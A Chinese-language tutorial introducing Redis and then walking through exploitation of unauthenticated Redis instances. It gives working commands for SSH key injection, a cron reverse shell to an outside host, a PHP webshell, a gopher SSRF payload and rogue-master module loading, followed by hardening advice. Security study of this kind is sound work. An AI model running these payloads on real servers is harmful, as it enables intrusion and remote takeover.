Redis 介绍
是什么?
Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。
Redis 主要将数据存在内存中,缓存作用实际高于存储作用,随时可执行 save
命令将当前内存里的数据存入硬盘中。如果需要恢复数据,只需将备份文件 dump.rdb
移动到 redis 安装目录并启动服务即可。通常看,将数据放在内存中是不安全的,一旦发生断电或者机器故障, 重要的数据可能就会丢失,因此 Redis 提供了两种持久化方式:RDB 和 AOF,即可以用两种策略将内存的数据保存到硬盘中,这样就保证了数据的可持久性。
还有个重要特点,其所有操作都是原子性的,要么成功执行,要么完全不执行。
能做什么?
- 缓存
缓存机制几乎在所有的大型网站都有使用,合理地使用缓存不仅可以加 快数据的访问速度,而且能够有效地降低后端数据源的压力。Redis 提供了键值过期时间设置,并且也提供了灵活控制最大内存和内存溢出后的淘汰策略。可以这么说,一个合理的缓存设计能够为一个网站的稳定保驾护航。 - 排行榜系统
排行榜系统几乎存在于所有的网站,例如按照热度排名的排行榜,按照发布时间的排行榜,按照各种复杂维度计算出的排行榜,Redis 提供了列表和有序集合数据结构,合理地使用这些数据结构可以很方便地构建各种排行榜系统。 - 计数器应用
计数器在网站中的作用至关重要,例如视频网站有播放数、电商网站有 浏览数,为了保证数据的实时性,每一次播放和浏览都要做加 1 的操作,如果并发量很大对于传统关系型数据的性能是一种挑战。Redis 天然支持计数功能而且计数的性能也非常好,可以说是计数器系统的重要选择。 - 社交网络
赞/踩、粉丝、共同好友/喜好、推送、下拉刷新等是社交网站的必备功能,由于社交网站访问量通常比较大,而且传统的关系型数据不太适合保存这种类型的数据,Redis提供的数据结构可以相对比较容易地实现这些功
能。 - 消息队列系统
消息队列系统可以说是一个大型网站的必备基础组件,因为其具有业务 解耦、非实时业务削峰等特性。Redis提供了发布订阅功能和阻塞队列的功能,虽然和专业的消息队列比还不够足够强大,但是对于一般的消息队列功能基本可以满足。
常用命令
你可以在这做做实验 http://try.redis.io/
启动 redis |
非授权访问
为什么会出现非授权访问?
设计哲学?以 root 权限运行?
以下利用都是基于 redis 的持久化进行的任意文件写入,其他玩法可以自己开开脑洞。
写公钥直接 ssh 连接
本地生成公私钥文件:
ssh-keygen –t rsa |
将公钥写入 key.txt 文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt |
连接 Redis 写入文件
cat key.txt | redis-cli -h 127.0.0.1 -x set key |
直接私钥连接
ssh –i id_rsa root@ip |
利用 crontable 反弹 shell
nc 监听
nc -lvvvp 9669 |
写入定时命令,这里用的 bash
,其他弹法改下语句就行。本地 Ubuntu 弹失败了,再试试 py 看看。
set x "n\n*/1 * * * * /bin/bash -i>&/dev/tcp/vps_ip/port 0>&1\n\n" |
不同系统(发行版)的定时任务文件所在路径可能不同,以实际系统为准。
写 webshell
当服务器开着 web 服务,而且 redis 有 web 目录写权限时,可以尝试写 webshell。
set x "\n\n<?php eval($_POST[1]);?>\n" |
lua 执行命令(这里还可以继续研究)
本地建一个 lua
脚本 hello.lua
local msg = "hello,hack!" |
redis 连接并执行
./redis-cli eval "$(cat hello.lua)" 0 -h 192.168.152.128 |
QAX-A-Team/redis_lua_exploit,分析细节《在Redis中构建Lua虚拟机的稳定攻击路径》。
恢复初始设置
以下是默认配置,更妥当的做法是使用 config get dir
记录下之前的配置。
恢复dir |
结合 ssrf
gopher
为什么要用 gopher?
Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。但是经过部分测试,发现阿里云的 libcurl 还是支持 Gopher 协议的,在实际环境中可能会有更多。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
协议基本格式:
gopher://<host>:<port>/_ + 数据 |
TODO:单独写一篇总结
具体玩法
写一个反弹脚本,方便抓流量。
redis-cli -h $1 -p $2 flushall # 无法成功时再试试这句,将清掉所有数据 |
输出四个 “ok” 即为写入成功。
先抓一下客户端 redis-cli
执行这些命令所发的数据包,然后尝试伪造。
开一个端口转发,作为拦截
socat -v tcp-listen:2333,fork tcp-connect:localhost:6379 |
将 2333 端口的数据转发到 6379
将数据流转换为 gopher
形式
转换规则如下:
- 如果第一个字符是 > 或者 < 那么丢弃该行字符串,表示请求和返回的时间。
- 如果前 3 个字符是 + OK 那么丢弃该行字符串,表示返回的字符串。
- 将 \r 字符串替换成 %0d%0a
- 空白行替换为 %0a
直接上脚本
#coding: utf-8 |
将之前 socat
命令输出的数据流存为 data.txt
,然后进行转换
➜ tmp py3 gopher.py data.txt |
使用 curl 发送 payload
curl -v 'gopher://victim_ip:port/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$66%0d%0a-e %0a%0a*/1 * * * * bash -i >& /dev/tcp/47.11.220.241/9669 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' |
需要注意的是,如果要换 IP 和端口,前面的$58
也需要更改,$58
表示字符串长度为 58 个字节,上面的 EXP 即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a
,3+51+4=58。如果想换成 42.256.24.73,那么 $58 需要改成 $61,以此类推。
利用主从
条件:版本 <= 5.0.5
原理:https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
伪造一个 redis master 服务器,让目标成为一个 slave。这样,我们就可以通过 master 给 slave 传递一些命令;同时,也可以让 slave 加载我们写的模块(恶意 so)。
利用这个方法,就避免了通过写文件 getshell 时由于文件内含其他字符导致的影响,也可以不需要借助 crontab、php这种第三方程序而直接 getshell。
https://github.com/vulhub/redis-rogue-getshell
防御建议
禁止一些高危命令(重启redis才能生效)
- 修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL "" |
- 或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1" |
以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis |
为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword |
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1 |
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错
修改默认端口
修改配置文件redis.conf文件
Port 6379 |
默认端口是6379,可以改变成其他端口(不要冲突就好)
保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。
- 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys |
- 为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys |
- 然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh |
设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
参考链接
https://www.freebuf.com/column/158065.html